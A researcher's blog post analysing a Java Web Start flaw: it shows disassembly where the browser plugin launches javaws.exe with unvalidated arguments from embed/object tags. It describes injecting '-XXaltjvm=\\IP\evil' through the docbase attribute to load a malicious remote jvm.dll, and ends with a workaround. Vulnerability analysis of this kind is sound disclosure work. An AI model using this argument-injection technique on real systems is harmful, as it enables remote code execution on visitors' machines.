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Updated Just in case: Tavis' attack also allows remote code execution since the jar is executing without any restriction.
Updated Although Linux contains vulnerable code, I was unable to exploit it in the same manner. It likely can be exploited by using the proper sequence of command-line arguments, but the sudden release didn't allow me to research into this issue.I was focused on Windows at the moment of the disclosure.
Bye bye my little 0day :(, Tavis Ormandy did a great job uncovering a big logic flaw within Java JRE. I discovered that bug and other that affects every browser few weeks ago so I posted the common "0day++" tweet.
The method by which Java Web Start support has been added to the JRE is not less than a deliberately embedded backdoor(I really don't think so) or a flagrant case of extreme negligence (+1).
It's even more incredible that Sun didn't assess the real risk of this flaw after Tavis reported it to them.Acknowledged it, but didn't considered suitable for a OOB patch.
Let's see:
Java Plugin for Browsers (Chrome,Firefox...) - Windows: npjp2.dll (The same for IE8's jp2iexp.dll)
.text:6DAA3D96
.text:6DAA3D96 ; =============== S U B R O U T I N E =======================================
.text:6DAA3D96
.text:6DAA3D96 ; Attributes: bp-based frame
.text:6DAA3D96
.text:6DAA3D96 sub_6DAA3D96 proc near ; CODE XREF: sub_6DAA2ACB+170p
.text:6DAA3D96
.text:6DAA3D96 Data = byte ptr -264h
.text:6DAA3D96 var_263 = byte ptr -263h
.text:6DAA3D96 ApplicationName = byte ptr -160h
.text:6DAA3D96 StartupInfo = _STARTUPINFOA ptr -5Ch
.text:6DAA3D96 ProcessInformation= _PROCESS_INFORMATION ptr -18h
.text:6DAA3D96 cbData = dword ptr -8
.text:6DAA3D96 hKey = dword ptr -4
.text:6DAA3D96 arg_0 = dword ptr 8
.text:6DAA3D96 arg_4 = dword ptr 0Ch
.text:6DAA3D96
.text:6DAA3D96 push ebp
.text:6DAA3D97 mov ebp, esp
.text:6DAA3D99 sub esp, 264h
.text:6DAA3D9F push edi
.text:6DAA3DA0 lea eax, [ebp+hKey]
.text:6DAA3DA3 push eax ; phkResult
.text:6DAA3DA4 push 20019h ; samDesired
.text:6DAA3DA9 xor edi, edi
.text:6DAA3DAB push edi ; ulOptions
.text:6DAA3DAC push offset SubKey ; "JNLPFile\\Shell\\Open\\Command"
.text:6DAA3DB1 push 80000000h ; hKey
.text:6DAA3DB6 mov [ebp+cbData], 104h
.text:6DAA3DBD call ds:RegOpenKeyExA
.text:6DAA3DC3 test eax, eax
.text:6DAA3DC5 jz short loc_6DAA3DCE
.text:6DAA3DC7 xor eax, eax
.text:6DAA3DC9 jmp loc_6DAA3F16
The default handler is "javaws.exe",continuing...
.text:6DAA3EB7 push [ebp+arg_4]
.text:6DAA3EBA push eax
.text:6DAA3EBB push offset aSDocbaseSS ; "\"%s\" -docbase %s %s"
.text:6DAA3EC0 push esi ; LPSTR
.text:6DAA3EC1 call ebx ; wsprintfA
.text:6DAA3EC3 add esp, 14h
.text:6DAA3EC6 jmp short loc_6DAA3ED4
.text:6DAA3EC8 ; ---------------------------------------------------------------------------
.text:6DAA3EC8
.text:6DAA3EC8 loc_6DAA3EC8: ; CODE XREF: sub_6DAA3D96+11Fj
.text:6DAA3EC8 push eax
.text:6DAA3EC9 push offset aSS_0 ; "\"%s\" %s"
.text:6DAA3ECE push esi ; LPSTR
.text:6DAA3ECF call ebx ; wsprintfA
.text:6DAA3ED1 add esp, 10h
.text:6DAA3ED4
.text:6DAA3ED4 loc_6DAA3ED4: ; CODE XREF: sub_6DAA3D96+130j
.text:6DAA3ED4 push 11h
.text:6DAA3ED6 pop ecx
.text:6DAA3ED7 xor eax, eax
.text:6DAA3ED9 lea edi, [ebp+StartupInfo]
.text:6DAA3EDC rep stosd
.text:6DAA3EDE lea eax, [ebp+ProcessInformation]
.text:6DAA3EE1 push eax ; lpProcessInformation
.text:6DAA3EE2 xor ebx, ebx
.text:6DAA3EE4 lea eax, [ebp+StartupInfo]
.text:6DAA3EE7 push eax ; lpStartupInfo
.text:6DAA3EE8 push ebx ; lpCurrentDirectory
.text:6DAA3EE9 push ebx ; lpEnvironment
.text:6DAA3EEA push ebx ; dwCreationFlags
.text:6DAA3EEB push ebx ; bInheritHandles
.text:6DAA3EEC push ebx ; lpThreadAttributes
.text:6DAA3EED push ebx ; lpProcessAttributes
.text:6DAA3EEE push esi ; lpCommandLine
.text:6DAA3EEF lea eax, [ebp+ApplicationName]
.text:6DAA3EF5 push eax ; lpApplicationName
.text:6DAA3EF6 mov [ebp+StartupInfo.cb], 44h
.text:6DAA3EFD call ds:CreateProcessA
So basically the Java-Plugin Browser is running "javaws.exe" without validating command-line parameters. These parameters can be controlled by attackers via specially crafted embed html tags within a webpage.
Let's see JavaDeploy.txt:
if (browser == 'MSIE') {
document.write('<' +
'object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" ' +
'width="0" height="0">' +
'<' + 'PARAM name="launchjnlp" value="' + jnlp + '"' + '>' +
'<' + 'PARAM name="docbase" value="' + jnlpDocbase + '"' + '>' +
'<' + '/' + 'object' + '>');
} else if (browser == 'Netscape Family') {
document.write('<' +
'embed type="application/x-java-applet;jpi-version=' +
deployJava.firefoxJavaVersion + '" ' +
'width="0" height="0" ' +
'launchjnlp="' + jnlp + '"' +
'docbase="' + jnlpDocbase + '"' +
' />');
}
That's it. This is how JAVA Plugin identifies Java Web Start content (jnlp files).So
We can inject command-line parameters through "docbase" tag and even "launchjnlp".
What type of arguments can we abuse to compromise a system?
java.exe and javaw.exe support an undocumented-hidden command-line parameter "-XXaltjvm" and curiosly also "-J-XXaltjvm" (see -J switch in javaws.exe). This instructs Java to load an alternative JavaVM library (jvm.dll or libjvm.so) from the desired path. Game over. We can set -XXaltjvm=\\IP\evil , in this way javaw.exe will load our evil jvm.dll. Bye bye ASLR, DEP...
Linux
Same logic error, check this function "_Z10launchJNLPPKcS0" in libnpjp2.so
.text:0000A956 call _fork
.text:0000A95B test eax, eax
.text:0000A95D jnz loc_A813
.text:0000A963 mov [esp+3048h+var_3048], esi
.text:0000A966 lea eax, [ebp+var_3038]
.text:0000A96C mov [esp+3048h+var_3044], eax
.text:0000A970 call _execv
MACOSX
Not vulnerable.
Workaround
Disable javaws/javaws.exe in linux and Windows by any mean. Disable Deployment Toolkit to avoid unwanted installation as stated in Tavis' advisory.
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